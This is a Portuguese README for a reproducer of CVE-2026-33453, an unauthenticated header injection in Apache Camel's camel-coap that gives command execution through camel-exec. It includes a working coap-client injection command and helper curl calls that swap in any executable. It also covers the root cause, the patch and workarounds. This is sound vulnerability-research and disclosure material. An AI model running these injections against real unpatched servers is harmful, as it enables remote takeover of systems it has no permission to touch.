
Reprodutor para CVE-2026-33453: injeção de cabeçalho no Apache Camel camel-coap para RCE via camel-exec
Este projeto demonstra uma vulnerabilidade de injeção de cabeçalhos de mensagens Camel no componente
camel-coap do Apache Camel, registrada como CVE-2026-33453. Um atacante não autenticado que consiga
enviar um único pacote UDP CoAP pode injetar cabeçalhos de controle Camel* arbitrários no Exchange,
alcançando execução remota de código quando a rota encaminha para um produtor sensível a cabeçalhos,
como camel-exec.
Aviso: https://camel.apache.org/security/CVE-2026-33453.html
| Propriedade | Valor |
|---|---|
| Componente | camel-coap |
| Classe Afetada | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Causa raiz | Parâmetros de consulta de URI CoAP copiados para os cabeçalhos do Exchange sem HeaderFilterStrategy |
| CWE | CWE-915: Modificação Controlada de Forma Incorreta de Atributos de Objeto Determinados Dinamicamente |
| Impacto | Execução Remota de Código (via produtores sensíveis a cabeçalhos, ex.: camel-exec) |
| Superfície de ataque | Um único datagrama UDP CoAP não autenticado (porta padrão 5683) |
| Versões afetadas | A partir de 4.14.0 e anteriores a 4.14.6, e a partir de 4.15.0 e anteriores a 4.18.1 |
| Versões corrigidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Relator | Hyunwoo Kim (@v4bel) |
Nas versões afetadas, CamelCoapResource.handleRequest() itera sobre as opções de consulta de URI da
solicitação CoAP e copia cada uma para os cabeçalhos In do Camel Exchange, sem aplicar nenhum
HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint estende DefaultEndpoint (não DefaultHeaderFilterStrategyEndpoint) e CoAPComponent
não implementa HeaderFilterStrategyComponent, portanto não há filtro algum. Um atacante pode
portanto definir qualquer cabeçalho — incluindo cabeçalhos de controle Camel* internos do Camel —
simplesmente adicionando parâmetros de consulta à URI da solicitação CoAP.
Quando a rota entrega a mensagem a um produtor sensível a cabeçalhos, esses cabeçalhos alteram seu
comportamento. Para camel-exec, os cabeçalhos CamelExecCommandExecutable e CamelExecCommandArgs
substituem o executável e os argumentos configurados no endpoint (honrados por padrão nas versões
afetadas), resultando em execução arbitrária de comandos do sistema operacional. A saída padrão do
comando é gravada de volta no corpo do Exchange e retornada na resposta CoAP, fornecendo um canal RCE
interativo.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
Uma solicitação benigna executa echo hello. Um atacante substitui o comando por meio de cabeçalhos
injetados.
CoAP é baseado em UDP (RFC 7252) sem autenticação incorporada (DTLS é opcional e desabilitado por
padrão), portanto nenhum serviço externo ou contêiner Docker é necessário — o aplicativo reprodutor
é tanto o servidor CoAP vulnerável quanto um cliente atacante embutido (um cliente bruto como o
coap-client do libcoap também funciona).
mvn clean package -DskipTests
mvn spring-boot:run
O aplicativo inicia a rota vulnerável em coap://0.0.0.0:5683/run e um controlador REST auxiliar na porta 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Internamente, o cliente CoAP embutido envia um único datagrama:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
Em vez disso, com um cliente CoAP bruto:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Se /tmp/pwned existir, o cabeçalho injetado substituiu o comando exec → RCE.
A injeção só precisa de um produtor sensível a cabeçalhos a jusante. O aviso lista, entre outros:
CamelExecCommandExecutable / CamelExecCommandArgs → execução de comandos do sistema operacionalCamelFileName → escrita arbitrária de arquivos / path traversalCamelBeanMethodName → invocar um método diferentecoap://....removeHeaders("Camel*") entre o consumidor CoAP e esse produtor.Nenhuma autenticação é necessária; um único datagrama UDP para a porta 5683 é suficiente.
A correção (CAMEL-23222) faz com que CoAPEndpoint carregue um HeaderFilterStrategy e o aplique em
handleRequest() antes de definir os cabeçalhos, de modo que nomes com prefixo Camel* sejam filtrados
na fronteira CoAP como em qualquer outro transporte:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
Até atualizar:
.removeHeaders("Camel*") logo após o
from("coap:...").coaps://) com autenticação de cliente para restringir quem pode acessar o endpoint.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.